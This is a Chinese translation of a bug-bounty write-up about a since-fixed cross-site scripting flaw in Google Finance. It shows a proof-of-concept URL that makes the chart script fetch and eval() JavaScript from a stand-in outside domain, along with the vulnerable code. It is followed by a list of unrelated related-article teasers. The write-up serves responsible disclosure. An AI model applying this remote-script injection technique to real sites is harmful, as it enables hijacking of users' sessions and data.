我是如何在谷歌财经发现一个XSS漏洞

本文由 伯乐在线 -伯乐在线读者 翻译自Michele Spagnuolo。转载请参见文章末尾处的要求。

导读:我们在6月13日发了一篇资讯,说“Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元”。7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

这个过程不需要用户交互,只要点击一下URL就可以了。

复现步骤:

1)点击该URL(目前已修复):

https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https:/evildomain.com/x.js.

文件x.js包含下列验证代码用来演示:

alert(document.domain);

该文件必须通过https来托管。

2)远程Javascript被执行。

工作原理

以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。

c.push("ntsp=");
c.push(b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")

在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。

Xi.prototype.send = function (a, b, c, d) { a = a || null; d = d || "_" + (Yi++).toString(36) + x().toString(36); n._callbacks_ || (n._callbacks_ = {}); var e = this.$s.Z(); if (a) for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]); b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d)); b = Wi(e.toString(), { timeout: this.We, Ns: !0 }); Si(b, null, $i(d, a, c), void 0); return { La: d, Du: b }
};

第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。

然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。

触发XSS漏洞的截图

callback 请求截图

有漏洞的代码片段

这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。

非常感谢,Google安全小组!

原文链接: Michele Spagnuolo 翻译: 伯乐在线 - 伯乐在线读者
译文链接: http://blog.jobbole.com/44953/
[ 转载必须在正文中标注并保留原文链接、译文链接和译者等信息。]

案例分析---我是如何在谷歌财经发现一个XSS漏洞相关推荐

  1. 免费教材丨第56期:《深度学习导论及案例分析》、《谷歌黑板报-数学之美》

    小编说  离春节更近了!  本期教材        本期为大家发放的教材为:<深度学习导论及案例分析>.<谷歌黑板报-数学之美>两本书,大家可以根据自己的需要阅读哦! < ...

  2. 在使用谷歌时发现一个诡异问题cookie传不过去

    在使用谷歌时发现一个诡异问题cookie传不过去 查找相关资料发现这是谷歌的一个新属性SameSite导致的, SameSite 属性 Cookie 的SameSite属性用来限制第三方 Cookie ...

  3. 【11.18总结】从SAML出发在重定向中发现的XSS漏洞

    Write-up地址:How I Discovered XSS that Affects around 20 Uber Subdomains 作者:fady mohammed osman 总算回家了, ...

  4. 内存管理实战案例分析3:为何分配不出一个页面?

    微信公众号:奔跑吧linux社区 本文节选自<奔跑吧Linux内核>第二版卷1第6.3.3章 1.问题描述 下面是有问题的OOM Killer内核日志,其中空闲页面为86048KB,最低警 ...

  5. python红楼梦人数统计结果_Python学习分析红楼梦社交网络,意外发现一个有影响力的神秘人物...

    前言 这次我们将分析整个红楼梦的社交网络.我们尝试用算法去寻找红楼梦中最重要的人物,最有权势的人物,以及一些关系亲密的小团体.看看都有哪些有趣的发现吧. 社交网络 据统计,红楼梦中出场人数共有四百四十 ...

  6. 案例分析:项目经理如何半路接手一个项目?

    案例 由于前任项目经理高升,同事A被选择做一个进程已过半的项目.领导B在任命A做项目经理的时间,介绍说:此项目一切顺利,只要改动一下程序,完成最后一阶段测试就大功告成了.但事实是,原PM没留下任何文档 ...

  7. 白盒测试案例分析(在十个球中找一个假球),并在Junit下进行测试

    题目 使用白盒测试用例设计方法为下面的程序设计测试用例(基本路径测试)并Junit下测试:程序要求:10个铅球中有一个假球(比其他铅球的重量要轻),用天平三次称出假球.程序设计思路:第一次使用天平分别 ...

  8. 公布一年前发现阿里旺旺的一个xss漏洞的细节。

    概述 能显示表情图片成了现在的聊天软件必备基本功能,这就需要支持展示富文本的控件. 聊天软件主要用到两种富文本格式:RTF和HTML格式. RTF可以采用RichEdit.HTML可以选择浏览器内核, ...

  9. mysql安全性案例分析_MySQL实例crash的案例分析

    [作者] 王栋:携程技术保障中心数据库专家,对数据库疑难问题的排查和数据库自动化智能化运维工具的开发有强烈的兴趣. [问题描述] 我们生产环境有一组集群的多台MySQL服务器(MySQL 5.6.21 ...

最新文章

  1. @include与jsp:include的区别
  2. 030_SpringBoot全局属性配置文件
  3. Java中equlas和==的区别
  4. JavaScript实现permutate With Repetitions重复排列算法(附完整源码)
  5. LeetCode 996. 正方形数组的数目(回溯+剪枝)
  6. facenet训练自己的数据_①如何帮助自己简易分析体测数据②没有私教一个人无法开始训练?...
  7. nyoj_218_Dinner_201312021434
  8. 初始化_Linux的内存初始化
  9. VM安装rhel或linux后,声音很响,如何关闭
  10. linux的python开发环境_linux下python开发环境之一——安装python
  11. vue-cli结构介绍
  12. [C#]对Excel的操作
  13. 第一期:浙大版《JAVA语言程序设计教程》(第二版)翁凯等 主编 ——小白的入门之路(上)(一)
  14. linux simhei 字体下载,Linux CentOS 7 安装 字体库文件(simsun.ttf、simheittf.ttf)
  15. 苹果手机发信息显示作为垃圾信息送达解决方法
  16. Windows 2016 服务器安全配置
  17. 全球及中国汽车自动驾驶用胶粘剂行业市场发展态势与需求前景预测报告2022-2028年
  18. C语言初学者需要知道的十句话,听说不知道的人都没学好编程
  19. Django 页面静态化
  20. android 应用层shell,如何让Android系统或Android应用执行shell脚本

热门文章

  1. Centos 安装阿里云EPEL源
  2. 火狐下载 firefox免费高速下载 firefox又出新版本了
  3. 面试积累-Redis-Redis主要消耗什么物理资源?
  4. 最高检发布破坏计算机信息系统案等六大指导性案例
  5. python整数拆分dp算法_整数拆分问题的四种解法【转载】
  6. matlab化学程序,Matlab在化学的应用
  7. 论文浅尝 - IJCAI2022 | 基于自适应虚词增强的小样本逆关系分类
  8. 贺利坚的课程教学链接
  9. android 手电筒开发,Android之实现手电筒实例
  10. python代码代写_python代写代码